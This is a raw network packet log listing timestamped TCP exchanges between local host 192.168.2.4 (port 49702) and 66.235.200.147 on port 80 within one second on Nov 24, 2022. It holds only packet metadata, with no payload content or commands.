Nov 24, 2022 13:27:53.390417099 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390425920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390444040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390461922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390466928 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390480042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390491962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390499115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390516043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390518904 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390532970 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390539885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390561104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390566111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390578032 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390583038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390599966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390607119 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390619993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390620947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390639067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390645981 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390659094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390666962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390676975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390677929 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390693903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390702009 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390712976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390718937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390731096 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390733004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390746117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390749931 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390768051 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390769005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390784025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390786886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390805006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390810013 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390819073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390824080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390842915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390855074 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390861034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390887976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390894890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390894890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390908003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390923977 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390927076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390944958 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390963078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390968084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390980959 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390990973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390999079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391015053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391020060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391032934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391042948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391050100 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391067982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391072035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391087055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391093016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391107082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391118050 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391124964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391135931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391141891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391150951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391160011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391168118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391177893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391187906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391196012 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391206026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391213894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391217947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391233921 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391237974 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391252041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391252995 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391269922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391272068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391283989 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391288042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391304016 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391304970 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391320944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391324997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391338110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391338110 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391354084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391355991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391374111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391375065 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391388893 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391392946 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391412020 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391417027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391428947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391434908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391448021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391450882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391464949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391465902 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391484022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391486883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391499996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391505003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391522884 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391522884 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391542912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391544104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391556978 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391561985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391578913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391582966 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391597986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391601086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391614914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391619921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391633034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391635895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391649961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391653061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391669035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391669035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391685963 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391688108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391705036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391705990 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391720057 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391724110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391738892 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391743898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391761065 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391766071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391778946 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391783953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391797066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391797066 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391814947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391819000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391834021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391836882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391851902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391851902 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391870022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391870975 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391889095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391889095 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391906977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391907930 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391922951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391926050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391941071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.391962051 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391978979 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391994953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.391999006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392013073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392016888 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392030954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392041922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392049074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392066956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392071009 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392086029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392096043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392102957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392119884 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392124891 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392138004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392147064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392158985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392173052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392177105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392185926 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392193079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392204046 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392210007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392227888 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392232895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392246962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392256975 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392266035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392283916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392286062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392303944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392311096 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392323017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392340899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392340899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392355919 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392359972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392368078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392379045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392385006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392394066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392410994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392421961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392429113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392446041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392450094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392465115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392468929 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392482996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392493010 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392502069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392508984 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392520905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392525911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392539024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392544031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392556906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392563105 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392575979 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392579079 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392595053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392604113 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392612934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392621994 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392632008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392637014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392648935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392651081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392668009 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392683983 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392685890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392699957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392716885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392729044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392729998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392748117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392756939 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392765045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392774105 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392782927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392801046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392802954 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392815113 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392818928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392832041 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392836094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392852068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392852068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392863035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392869949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392879963 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392887115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392903090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392910004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392920971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392935038 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392939091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392951012 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392956972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392973900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.392980099 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.392992973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393003941 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393011093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393021107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393028975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393038034 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393045902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393055916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393064022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393073082 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393081903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393089056 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393100977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393106937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393119097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393126965 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393136978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393155098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393155098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393165112 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393172026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393177032 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393188953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393189907 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393207073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393224001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393229961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393241882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393253088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393260002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393276930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393285036 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393295050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393302917 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393311977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393328905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393330097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393342972 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393347025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393352985 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393364906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393377066 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393383980 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393402100 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393404007 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393419027 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393426895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393438101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393455029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393455982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393471956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393481016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393490076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393507957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393510103 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393520117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393527031 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393537045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393546104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393568039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393570900 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393580914 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393585920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393601894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393603086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393616915 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393620968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393637896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393644094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393656969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393662930 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393673897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393680096 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393692970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393696070 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393711090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393714905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393728971 CET	80	49702	66.235.200.147	192.168.2.4
